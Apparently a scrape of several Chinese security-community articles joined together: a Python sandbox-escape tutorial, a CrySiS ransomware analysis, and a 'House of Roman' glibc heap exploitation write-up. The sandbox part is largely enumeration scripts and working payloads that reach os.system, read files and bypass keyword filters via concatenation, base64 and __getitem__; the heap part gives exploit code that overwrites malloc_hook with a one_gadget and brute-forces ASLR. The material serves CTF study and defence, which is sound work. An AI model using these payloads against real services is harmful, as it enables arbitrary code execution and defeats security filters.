'SimpleXMLRPCServer': ['os', 'sys', '__builtins__'], 'sunaudio': ['__builtins__'],
'pdb.doc': ['os', '__builtins__'], 'asynchat': ['__builtins__'], 'user': ['os', '__builtins__'],
'xmllib': ['__builtins__'], 'codeop': ['__builtins__'], 'plat-next3': ['os', 'sys', '__builtins__'],
'types': ['__builtins__'], 'argparse': ['__builtins__'], 'uuid': ['os', 'sys', '__builtins__'],
'plat-aix4': ['os', 'sys', '__builtins__'], 'plat-aix3': ['os', 'sys', '__builtins__'],
'ssl': ['os', 'sys', '__builtins__'], 'poplib': ['__builtins__'], 'xmlrpclib': ['__builtins__'],
'difflib': ['__builtins__'], 'urlparse': ['__builtins__'], 'linecache': ['os', 'sys', '__builtins__'],
'_strptime': ['__builtins__'], 'htmllib': ['__builtins__'], 'site-packages': ['__builtins__'],
'posixpath': ['os', 'sys', '__builtins__'], 'stringold': ['__builtins__'],
'gzip': ['os', 'sys', '__builtins__', 'open'], 'mhlib': ['os', 'sys', '__builtins__'],
'rlcompleter': ['__builtins__'], 'hmac': ['__builtins__']}
target_modules = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys']
target_functions = ['__import__', '__builtins__', 'exec', 'eval', 'execfile', 'compile', 'file', 'open']
all_targets = list(set(find_modules.keys() + target_modules + target_functions))
all_modules = list(set(find_modules.keys() + target_modules))
subclasses = ().__class__.__bases__[0].__subclasses__()
sub_name = [s.__name__ for s in subclasses]
# 第一种遍历,如:().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
print('----------1-----------')
for i, s in enumerate(sub_name):
for f in all_targets:
if f == s:
if f in target_functions:
print(i, f)
elif f in all_modules:
target = find_modules[f]
sub_dict = subclasses[i].__dict__
for t in target:
if t in sub_dict:
print(i, f, target)
print('----------2-----------')
# 第二种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.func_globals
for m in all_targets:
if m in more:
print(i, sub, m, find_modules.get(m))
except Exception as e:
pass
print('----------3-----------')
# 第三种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.func_globals.values()
for j, v in enumerate(more):
for f in all_targets:
try:
if f in v:
if f in target_functions:
print(i, j, sub, f)
elif f in all_modules:
target = find_modules.get(f)
sub_dict = v[f].__dict__
for t in target:
if t in sub_dict:
print(i, j, sub, f, target)
except Exception as e:
pass
except Exception as e:
pass
print('----------4-----------')
# 第四种遍历:如:().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
# <class 'warnings.catch_warnings'>类很特殊，在内部定义了_module=sys.modules['warnings']，然后warnings模块包含有__builtins__，不具有通用性，本质上跟第一种方法类似
for i, sub in enumerate(subclasses):
try:
more = sub()._module.__builtins__
for f in all_targets:
if f in more:
print(i, f)
except Exception as e:
pass
下面简单归纳下遍历的4种方式：
**第一种方式**
序号为40，即file()函数，进行文件读取和写入，payload如下：
''.__class__.__mro__[2].__subclasses__()[40]('E:/passwd').read()
''.__class__.__mro__[2].__subclasses__()[40]('E:/test.txt', 'w').write('xxx')
这和前面元素链构造时给出的Demo有点区别：
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()
序号59是WarningMessage类，其具有globals属性，包含builtins，其中含有file()函数，属于第二种方式；而这里是直接在object类的所有子类中直接找到了file()函数的序号为40，直接调用即可。
**第二种方式**
先看序号为59的WarningMessage类有哪些而利用的模块或方法：
(59, <class 'warnings.WarningMessage'>, 'linecache', ['os', 'sys', '__builtins__'])
(59, <class 'warnings.WarningMessage'>, '__builtins__', None)
(59, <class 'warnings.WarningMessage'>, 'sys', None)
(59, <class 'warnings.WarningMessage'>, 'types', ['__builtins__'])
以linecache中的os为例，这里简单解释下工具的寻找过程依次如下：
# 确认linecache
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache']
# 返回linecache字典中的所有键
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__
.keys()
# 在linecache字典的所有键中寻找os的序号，找到为12
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__
.keys().index('os')
# 更换keys()为values()，访问12序号的元素，并获取该os字典的所有键
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys()
# 在os字典的所有键中寻找system的序号，找到为79
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
# 执行os.system()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[79]('calc')
payload如下：
# linecache利用
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('calc')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['sys'].modules['os'].system('calc')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['__builtins__']['__import__']('os').system('calc')
# __builtins__利用，包括__import__、file、open、execfile、eval、结合exec的compile等
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('calc')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('E:/test.txt', 'w').write('hello')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['execfile']('E:/exp.py')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").system("calc")')
exec(''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['compile']('__import__("os").system("calc")', '<string>', 'exec'))
# sys利用
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['sys'].modules['os'].system('calc')
# types利用，后面还是通过__builtins__实现利用
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['types'].__dict__['__builtins__']['__import__']('os').system('calc')
序号为60的catch_warnings类利用payload同上。
序号为61、62的两个类均只有`__builtins__`可利用，利用payload同上。
序号为72、77的两个类_Printer和Quitter，相比前面的，没见过的有os和traceback，但只有os模块可利用：
# os利用
''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('calc')
序号为78、79的两个类IncrementalEncoder和IncrementalDecoder，相比前面的，没见过的有open：
# open利用
''.__class__.__mro__[2].__subclasses__()[78].__init__.__globals__['open']('E:/passwd').read()
''.__class__.__mro__[2].__subclasses__()[78].__init__.__globals__['open']('E:/test.txt', 'w').write()
**第三种方式**
先看下序号为59的WarningMessage类：
(59, 13, <class 'warnings.WarningMessage'>, '__import__')
(59, 13, <class 'warnings.WarningMessage'>, 'file')
(59, 13, <class 'warnings.WarningMessage'>, 'compile')
(59, 13, <class 'warnings.WarningMessage'>, 'eval')
(59, 13, <class 'warnings.WarningMessage'>, 'open')
(59, 13, <class 'warnings.WarningMessage'>, 'execfile')
注意是通过values()函数中的数组序号来填写第二个数值实现调用，以下以eval为示例，其他的利用payload和前面的差不多就不再赘述了：
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").system("calc")')
其他类似修改即可。
**第四种方式**
这里只有一种序号，为60：
(60, '__import__')
(60, 'file')
(60, 'repr')
(60, 'compile')
(60, 'eval')
(60, 'open')
(60, 'execfile')
调用示例如下，其他类似修改即可：
''.__class__.__mro__[2].__subclasses__()[60]()._module.__builtins__['__import__']("os").system("calc")
python3
# coding=UTF-8
# Python3
find_modules = {'asyncio': ['subprocess', 'sys', '__builtins__'], 'collections': ['__builtins__'],
'concurrent': ['__builtins__'], 'ctypes': ['__builtins__'], 'curses': ['__builtins__'],
'dbm': ['os', 'sys', '__builtins__', 'open'], 'distutils': ['sys', '__builtins__'],
'email': ['__builtins__'], 'encodings': ['codecs', 'sys', '__builtins__'],
'ensurepip': ['os', 'sys', '__builtins__'], 'html': ['__builtins__'], 'http': ['__builtins__'],
'idlelib': ['__builtins__'], 'importlib': ['sys', '__import__', '__builtins__'],
'json': ['codecs', '__builtins__'], 'lib2to3': ['__builtins__'],
'logging': ['os', 'sys', '__builtins__'], 'msilib': ['os', 'sys', '__builtins__'],
'multiprocessing': ['sys', '__builtins__'], 'pydoc_data': ['__builtins__'], 'sqlite3': ['__builtins__'],
'test': ['__builtins__'], 'tkinter': ['sys', '__builtins__'], 'turtledemo': ['__builtins__'],
'unittest': ['__builtins__'], 'urllib': ['__builtins__'],
'venv': ['os', 'subprocess', 'sys', '__builtins__'], 'wsgiref': ['__builtins__'],
'xml': ['__builtins__'], 'xmlrpc': ['__builtins__'], '__future__': ['__builtins__'],
'__phello__.foo': ['__builtins__'], '_bootlocale': ['sys', '__builtins__'],
'_collections_abc': ['sys', '__builtins__'], '_compat_pickle': ['__builtins__'],
'_compression': ['__builtins__'], '_dummy_thread': ['__builtins__'], '_markupbase': ['__builtins__'],
'_osx_support': ['os', 'sys', '__builtins__'], '_pydecimal': ['__builtins__'],
'_pyio': ['os', 'codecs', 'sys', '__builtins__', 'open'], '_sitebuiltins': ['sys', '__builtins__'],
'_strptime': ['__builtins__'], '_threading_local': ['__builtins__'], '_weakrefset': ['__builtins__'],
'abc': ['__builtins__'], 'aifc': ['__builtins__', 'open'], 'antigravity': ['__builtins__'],
'argparse': ['__builtins__'], 'ast': ['__builtins__'], 'asynchat': ['__builtins__'],
'asyncore': ['os', 'sys', '__builtins__'], 'base64': ['__builtins__'],
'bdb': ['os', 'sys', '__builtins__'], 'binhex': ['os', '__builtins__'], 'bisect': ['__builtins__'],
'bz2': ['os', '__builtins__', 'open'], 'cProfile': ['__builtins__'],
'calendar': ['sys', '__builtins__'], 'cgi': ['os', 'sys', '__builtins__'],
'cgitb': ['os', 'sys', '__builtins__'], 'chunk': ['__builtins__'], 'cmd': ['sys', '__builtins__'],
'code': ['sys', '__builtins__'], 'codecs': ['sys', '__builtins__', 'open'], 'codeop': ['__builtins__'],
'colorsys': ['__builtins__'], 'compileall': ['os', 'importlib', 'sys', '__builtins__'],
'configparser': ['os', 'sys', '__builtins__'], 'contextlib': ['sys', '__builtins__'],
'copy': ['__builtins__'], 'copyreg': ['__builtins__'], 'crypt': ['__builtins__'],
'csv': ['__builtins__'], 'datetime': ['__builtins__'], 'decimal': ['__builtins__'],
'difflib': ['__builtins__'], 'dis': ['sys', '__builtins__'], 'doctest': ['os', 'sys', '__builtins__'],
'dummy_threading': ['__builtins__'], 'enum': ['sys', '__builtins__'], 'filecmp': ['os', '__builtins__'],
'fileinput': ['os', 'sys', '__builtins__'], 'fnmatch': ['os', '__builtins__'],
'formatter': ['sys', '__builtins__'], 'fractions': ['sys', '__builtins__'],
'ftplib': ['sys', '__builtins__'], 'functools': ['__builtins__'], 'genericpath': ['os', '__builtins__'],
'getopt': ['os', '__builtins__'], 'getpass': ['os', 'sys', '__builtins__'],
'gettext': ['os', 'sys', '__builtins__'], 'glob': ['os', '__builtins__'],
'gzip': ['os', 'sys', '__builtins__', 'open'], 'hashlib': ['__builtins__'], 'heapq': ['__builtins__'],
'hmac': ['__builtins__'], 'imaplib': ['subprocess', 'sys', '__builtins__'], 'imghdr': ['__builtins__'],
'imp': ['os', 'importlib', 'sys', '__builtins__'],
'inspect': ['os', 'importlib', 'sys', '__builtins__'], 'io': ['__builtins__', 'open'],
'ipaddress': ['__builtins__'], 'keyword': ['__builtins__'], 'linecache': ['os', 'sys', '__builtins__'],
'locale': ['sys', '__builtins__'], 'lzma': ['os', '__builtins__', 'open'],
'macpath': ['os', '__builtins__'], 'macurl2path': ['os', '__builtins__'],
'mailbox': ['os', '__builtins__'], 'mailcap': ['os', '__builtins__'],
'mimetypes': ['os', 'sys', '__builtins__'], 'modulefinder': ['os', 'importlib', 'sys', '__builtins__'],
'netrc': ['os', '__builtins__'], 'nntplib': ['__builtins__'], 'ntpath': ['os', 'sys', '__builtins__'],
'nturl2path': ['__builtins__'], 'numbers': ['__builtins__'], 'opcode': ['__builtins__'],
'operator': ['__builtins__'], 'optparse': ['os', 'sys', '__builtins__'],
'os': ['sys', '__builtins__', 'open'], 'pathlib': ['os', 'sys', '__builtins__'],
'pdb': ['os', 'sys', '__builtins__'], 'pickle': ['codecs', 'sys', '__builtins__'],
'pickletools': ['codecs', 'sys', '__builtins__'], 'pipes': ['os', '__builtins__'],
'pkgutil': ['os', 'importlib', 'sys', '__builtins__'],
'platform': ['os', 'platform', 'subprocess', 'sys', '__builtins__'],
'plistlib': ['os', 'codecs', '__builtins__'], 'poplib': ['__builtins__'],
'posixpath': ['os', 'sys', '__builtins__'], 'pprint': ['__builtins__'],
'profile': ['os', 'sys', '__builtins__'], 'pstats': ['os', 'sys', '__builtins__'],
'pty': ['os', 'sys', '__builtins__'],
'py_compile': ['os', 'importlib', 'sys', '__builtins__', 'compile'],
'pyclbr': ['importlib', 'sys', '__builtins__'],
'pydoc': ['os', 'platform', 'importlib', 'sys', '__builtins__'], 'queue': ['__builtins__'],
'quopri': ['__builtins__'], 'random': ['__builtins__'], 're': ['__builtins__', 'compile'],
'reprlib': ['__builtins__'], 'rlcompleter': ['__builtins__'],
'runpy': ['importlib', 'sys', '__builtins__'], 'sched': ['__builtins__'],
'secrets': ['os', '__builtins__'], 'selectors': ['sys', '__builtins__'],
'shelve': ['__builtins__', 'open'], 'shlex': ['os', 'sys', '__builtins__'],
'shutil': ['os', 'sys', '__builtins__'], 'signal': ['__builtins__'],
'site': ['os', 'sys', '__builtins__'], 'smtpd': ['os', 'sys', '__builtins__'],
'smtplib': ['sys', '__builtins__'], 'sndhdr': ['__builtins__'], 'socket': ['os', 'sys', '__builtins__'],
'socketserver': ['os', 'sys', '__builtins__'], 'sre_compile': ['__builtins__', 'compile'],
'sre_constants': ['__builtins__'], 'sre_parse': ['__builtins__'], 'ssl': ['os', 'sys', '__builtins__'],
'stat': ['__builtins__'], 'statistics': ['__builtins__'], 'string': ['__builtins__'],
'stringprep': ['__builtins__'], 'struct': ['__builtins__'], 'subprocess': ['os', 'sys', '__builtins__'],
'sunau': ['__builtins__', 'open'], 'symbol': ['__builtins__'], 'symtable': ['__builtins__'],
'sysconfig': ['os', 'sys', '__builtins__'], 'tabnanny': ['os', 'sys', '__builtins__'],
'tarfile': ['os', 'sys', '__builtins__', 'open'], 'telnetlib': ['sys', '__builtins__'],
'tempfile': ['__builtins__'], 'textwrap': ['__builtins__'], 'this': ['__builtins__'],
'threading': ['__builtins__'], 'timeit': ['timeit', 'sys', '__builtins__'], 'token': ['__builtins__'],
'tokenize': ['sys', '__builtins__', 'open'], 'trace': ['os', 'sys', '__builtins__'],
'traceback': ['sys', '__builtins__'], 'tracemalloc': ['os', '__builtins__'],
'tty': ['os', '__builtins__'], 'turtle': ['sys', '__builtins__'], 'types': ['__builtins__'],
'typing': ['sys', '__builtins__'], 'uu': ['os', 'sys', '__builtins__'],
'uuid': ['os', 'sys', '__builtins__'], 'warnings': ['sys', '__builtins__'],
'wave': ['sys', '__builtins__', 'open'], 'weakref': ['sys', '__builtins__'],
'webbrowser': ['os', 'subprocess', 'sys', '__builtins__', 'open'], 'xdrlib': ['__builtins__'],
'zipapp': ['os', 'sys', '__builtins__'], 'zipfile': ['os', 'importlib', 'sys', '__builtins__']}
target_modules = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys']
target_functions = ['__import__', '__builtins__', 'exec', 'eval', 'execfile', 'compile', 'file', 'open']
all_targets = list(set(list(find_modules.keys()) + target_modules + target_functions))
all_modules = list(set(list(find_modules.keys()) + target_modules))
subclasses = ().__class__.__bases__[0].__subclasses__()
sub_name = [s.__name__ for s in subclasses]
# 第一种遍历,如:().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
print('----------1-----------')
for i, s in enumerate(sub_name):
for f in all_targets:
if f == s:
if f in target_functions:
print(i, f)
elif f in all_modules:
target = find_modules[f]
sub_dict = subclasses[i].__dict__
for t in target:
if t in sub_dict:
print(i, f, target)
print('----------2-----------')
# 第二种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.__globals__
for m in all_targets:
if m in more:
print(i, sub, m, find_modules.get(m))
except Exception as e:
pass
print('----------3-----------')
# 第三种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").system("ls")')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.__globals__.values()
for j, v in enumerate(more):
for f in all_targets:
try:
if f in v:
if f in target_functions:
print(i, j, sub, f)
elif f in all_modules:
target = find_modules.get(f)
sub_dict = v[f].__dict__
for t in target:
if t in sub_dict:
print(i, j, sub, f, target)
except Exception as e:
pass
except Exception as e:
pass
print('----------4-----------')
# 第四种遍历:如:().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
# <class 'warnings.catch_warnings'>类很特殊，在内部定义了_module=sys.modules['warnings']，然后warnings模块包含有__builtins__，不具有通用性，本质上跟第一种方法类似
for i, sub in enumerate(subclasses):
try:
more = sub()._module.__builtins__
for f in all_targets:
if f in more:
print(i, f)
except Exception as e:
pass
# 防御绕过
## 过滤`__globals__`
当`__globals__`被禁用时，
* 可以用func_globals直接替换；
* 使用`__getattribute__('__globa'+'ls__')`
# 原型是调用__globals__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('calc')
# 如果过滤了__globals__，可直接替换为func_globals
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['__builtins__']['__import__']('os').system('calc')
# 也可以通过拼接字符串得到方式绕过
''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")['__builtins__']['__import__']('os').system('calc')
## base64编码
对关键字进行base64编码可绕过一些明文检测机制：
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('calc')
0
## reload()方法
某些情况下，通过del将一些模块的某些方法给删除掉了，但是我们可以通过reload()函数重新加载该模块，从而可以调用删除掉的可利用的方法：
>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> __builtins__.__dict__['eval']
<built-in function eval
## 字符串拼接
凡是以字符串形式作为参数的都可以使用拼接的形式来绕过特定关键字的检测。
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__bu'+'iltins__']['__impor'+'t__']('o'+'s').system('ca'+'lc')
## 过滤中括号
当中括号[]被过滤掉时，
* 调用`__getitem__()`函数直接替换；
* 调用pop()函数（用于移除列表中的一个元素，默认最后一个元素，并且返回该元素的值）替换；
# 原型
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('calc')
# __getitem__()替换中括号[]
''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('calc')
# pop()替换中括号[]，结合__getitem__()利用
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('__import__')('os').system('calc')
## import限制与绕过
import 导入
所以说如果导入的模块a中有着另一个模块b，那么，我们可以用a.b的方法或者`a.__dict__[b<name>]`的方法间接访问模块b
例子1
import re,sys
pattern = re.compile('import\s+(os|subprocess)')
match = re.search(pattern,sys.args[1])
if match:
print "forbidden module import detected"
raise Exception
要执行shell命令,必须引入 os/commands/subprocess这几个包,
对于攻击者来说,改如何绕过呢,
必须使用其他的引入方式
__import__函数 #动态加载类和函数
importlib库
`__import__`函数
test = __import__("os")
print test.system('whoami')
importlib库
import importlib
test= importlib.import_module("os")
print(test.system("whoami"))
参考文章：
<https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/>
<https://www.smi1e.top/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/> | 社区文章 |
# CrySiS勒索病毒更新 黑产团伙留下QQ邮箱地址
##### 译文声明
本文是翻译文章，文章原作者 安全分析与研究，文章来源：安全分析与研究
原文地址：<https://mp.weixin.qq.com/s/O3j1E59AOc53VJF1wIP8aw>
译文仅供参考，具体内容表达以及含义原文为准。
昨天在微信群里有个朋友给我留言，说有一款CrySiS样本使用QQ邮箱做为联系方式，让我看看
事实上CrySiS这款勒索病毒早在二月份就在人在腾讯的一个群里咨询过，同时也想咨询腾讯的相关人员，能不能通过QQ查到一些信息之类的，此前我就怀疑是不是国内的一些黑产团伙通过在线购买CrySiS的RAAS平台上生成的病毒样本，然后在国内进行传播感染，获取暴利？不过这仅仅是猜测，因为没有证据，至今也没有抓到过相关的黑产团伙，通过这些QQ邮箱我也没办法拿到相关信息……
此勒索病毒加密后的文件，如下所示：
加密后缀名为id-[用户ID号].
[[[email protected]](mailto:[email protected])].pdf，并弹出勒索提示信息，如下所示：
勒索提示文本文件RETURN FILES.txt，内容如下所示：
黑产团伙留下了两个QQ邮箱地址：
[[email protected]](mailto:[email protected])
[[email protected]](mailto:[email protected])
此前我写过一篇文章，介绍Phobos勒索病毒，它是一款与CrySiS勒索病毒非常相似的勒索病毒，为啥这款勒索病毒是CrySiS，而不是Phobos呢?
通过动态调试样本，此勒索病毒先分配一段内存空间，如下所示：
解密出shellcode代码，如下所示：
再转跳到相应的shellcode代码处，如下所示：
通过shellcode，再次分配相应的内存空间，如下所示：
然后解密出勒索病毒核心Payload代码，如下所示：
使用IDA打开勒索病毒核心Payload，如下所示：
如果你之前分析过CrySiS病毒样本，一看就知道这是CrySiS的勒索病毒的入口代码特征，不是Phobos勒索病毒，Phobos勒索病毒的入口代码特征，应该如下所示：
不要问我为什么Phobos和CrySiS的入口特征是这样的，很多东西只有你去真正花时间去深入分析研究，才会懂，好了不扯远了，其实最简单的方法就是你拿几个Phobos和CrySiS的不同变种去分析就知道了，把这款勒索核心Payload代码，与此前的CrySiS的Payload进行代码对比，如下所示：
与之前的CrySiS勒索病毒代码相似度高达99%，可以确认此勒索病毒为CrySiS勒索病毒的变种样本
最近一两年针对企业的勒索病毒攻击越来越多，不断有朋友通过微信联系我，给我反馈各种勒索病毒相关信息，在此感谢各位朋友，大部分勒索病毒还不能解密，希望企业做好相应的勒索病毒防御措施，提高员工的安全意识，不要以为没了中勒索就没事，事实上黑产每天都在不断发起勒索攻击，不要等到中了勒索病毒才知道安全的重要性
本文转自：[安全分析与研究](https://mp.weixin.qq.com/s/O3j1E59AOc53VJF1wIP8aw) | 社区文章 |
# 前言
这是前几天国外一个 [老哥](https://github.com/romanking98/House-Of-Roman) 提出的一种思路
，学习了一下感觉其中的堆布局的手法还不错，做个分享与记录。
这种利用手法的主要特点是不需要 `leak libc`的地址，通过 堆内存的布局 和 堆相关的漏洞（`uaf` 等) 就可以
`getshell`。下面一个示例的题目为例介绍一下
相关文件位于
http://t.cn/Ru0eX62
# 漏洞分析
查看开启的保护措施
04:44 haclh@ubuntu:house_of_roman $ checksec ./new_chall
[*] '/home/haclh/workplace/house_of_roman/new_chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
开了 `pie` .
程序主要就三个功能
* `Malloc` ， 用户输入 `size`, 然后 `malloc(size)` , 大小不限
* `Write`, 往指定 `heap_ptr` 写入 `size+1` 字节数据，一字节溢出
* `Free`, 调用 `free` 释放掉 `heap_ptr` ，不过没有清零，`double free` 和 `uaf` （`Write` 时只是校验 指针是否为 `0`）.
# 漏洞利用
## 思路
因为没有 `leak` 的机会，同时还还有 `aslr` ， 因为 `aslr` 随机化的 比特数是有限的， 低 `12bit`
的随机化程度还是比较小，这就给了爆破的机会。
`House of Roman` 的一个核心思路就是利用 **局部写 减少随机化的程度，从而给出爆破的可能** 。
程序开了 `pie` ，一般的思路就是 写 `malloc_hook` 或者其他的一些 `hook`, 然后触发 `malloc` ，
`getshell`。
> 其中如果是 `64` 位程序，通过`malloc_printerr` 触发 `malloc` ，基本可以稳定 `getshell` 。
总的一个利用步骤如下 (`chunk` 指的是 `malloc` 源码中的 `chunk` ,包含元数据)
* 首先分配 `3` 个 `chunk （A , B, C）` ，大小分别为 `0x20, 0xd0, 0x70`
* 在 `B + 0x78` 处设置 `p64(0x61)` ， 作用是 `fake size` ,用于后面 的 `fastbin attack`
* 释放掉 `B` , `B` 进入 `unsorted bin` , 此时 `B+0x10` 和 `B+0x18` 中有 `main_arean` 的地址
* 再次分配 `0xd0` , 会分配到 `B`， 此时 `B+0x10` 和 `B+0x18` 中 `main_arean` 的地址依然存在
* 然后分配 `3` 个 `0x70` 的 `chunk (D , E, F)`， 为后续做准备
* 在 `A` 触发 单字节溢出，修改 `B->size = 0x71` . 然后释放 `C , D`， 此时 `C , D` 进入 `fastbin` , 同时 `D->fd = C`. 由于 `chunk`之间的相对偏移固定，于是利用 `uaf` 修改 `D->fd` 的低 字节 ，使得 `D->fd=B`
* 此时 `B->size = 0x71` ，同时 `B + 0x78` 为 `p64(0x61)` （第2步设置）， 这就成功伪造了一个 `0x70` 大小的 `fastbin`。 此时 `B->fd` 为 `main_arean` 的地址，于是通过 修改 低 `2`个字节，可以修改到 `malloc_hook - 0x23` 处 （ `malloc_hook - 0x23 + 0x8` 处的值为 `p64(0x7f)` )
* 然后分配 `3` 次 `0x70` 的 `chunk`， 就可以拿到包含 `malloc_hook` 的 `chunk`, 此时 `malloc_hook` 内容为 `0`
* 然后利用 `unsorted bin` 修改 `malloc_hook` 内容为 `main_arean` 的地址
* 利用部分写修改 `malloc_hook` 为 `one_gadget`
* 多次释放一个指针，触发 `double free` 异常，进而触发 `malloc_printerr` ， `getshell`
下面根据 `exp` 具体看看。
## exp分析
分配 `3` 个 `chunk` ，在 `B + 0x78` 处设置 `p64(0x61)` ， 作用是 `fake size` ,用于后面 的
`fastbin attack`
create(0x18,0) # 0x20
create(0xc8,1) # d0
create(0x65,2) # 0x70
info("create 2 chunk, 0x20, 0xd8")
fake = "A"*0x68
fake += p64(0x61) ## fake size
edit(1,fake)
info("fake")
释放掉 `B` , 然后分配同样大小再次分配到 `B` , 此时 `B+0x10` 和 `B+0x18` 中有 `main_arean` 的地址。分配
`3` 个 `fastbin` ，利用 `off by one` 修改 `B->size = 0x71`
free(1)
create(0xc8,1)
create(0x65,3) # b
create(0x65,15)
create(0x65,18)
over = "A"*0x18 # off by one
over += "\x71" # set chunk 1's size --> 0x71
edit(0,over)
info("利用 off by one , chunk 1's size --> 0x71")
生成两个 `fastbin` ，然后利用 `uaf` ，部分地址写，把 `B` 链入到 `fastbin`
free(2)
free(3)
info("创建两个 0x70 的 fastbin")
heap_po = "\x20"
edit(3,heap_po)
info("把 chunk'1 链入到 fastbin 里面")
调试看看此时 `fastbin` 的状态
pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555757160 —▸ 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x7ffff7dd1b78
0x80: 0x0
> `0x555555757020` 就是 `chunk B`
然后通过修改 `B->fd` 的低 `2` 字节， 使得 `B->fd= malloc_hook - 0x23`
# malloc_hook 上方
malloc_hook_nearly = "\xed\x1a"
edit(1,malloc_hook_nearly)
info("部分写，修改 fastbin->fd ---> malloc_hook")
然后分配 `3` 个 `0x70` 的 `chunk` ，就可以拿到 `malloc_hook` 所在的那个 `chunk` .
create(0x65,0)
create(0x65,0)
create(0x65,0)
info("0 拿到了 malloc_hook")
然后 `free` 掉 `E` ，进入 `fastbin` ，利用 `uaf` 设置 `E->fd = 0` ， 修复了 `fastbin` (好思路)
free(15)
edit(15,p64(0x00))
info("再次生成 0x71 的 fastbin, 同时修改 fd =0, 修复 fastbin")
然后是 unsorted bin 攻击，使得 malloc_hook 的值为 main_arena+88
create(0xc8,1)
create(0xc8,1)
create(0x18,2)
create(0xc8,3)
create(0xc8,4)
free(1)
po = "B"*8
po += "\x00\x1b"
edit(1,po)
create(0xc8,1)
info("unsorted bin 使得 malloc_hook 有 libc 的地址")
利用 修改 `malloc_hook` 的低三个字节 ，使得 `malloc_hook` 为 `one_gadget` 的地址
over = "R"*0x13 # padding for malloc_hook
over += "\xa4\xd2\xaf"
edit(0,over)
info("malloc_hook to one_gadget")
然后 `free` 两次同一个 `chunk` ，触发 `malloc_printerr` ， `getshell`
free(18)
free(18)
上面的偏移为一次调试所得，开启 `aslr` 后，需要跑很多次 （碰运气， 写个脚本重复执行
#!/bin/bash
for i in `seq 1 5000`; do python final.py; done;
跑啊跑就出 `shell`
# 总结
总的思路就是 **部分地址写 + 爆破** 绕过 `aslr` . 其中的有趣的部分是堆布局，利用 `off by one` 伪造 `fastbin` 链
， 利用 `unsorted bin attack` 设置 `libc` 的地址的部分。
调试 `pie` 程序，关了 `aslr` 方便调试
echo 0 > /proc/sys/kernel/randomize_va_space
**参考**
https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc
https://github.com/romanking98/House-Of-Roman | 社区文章 |
Author:cl0und@Syclover
# 前言
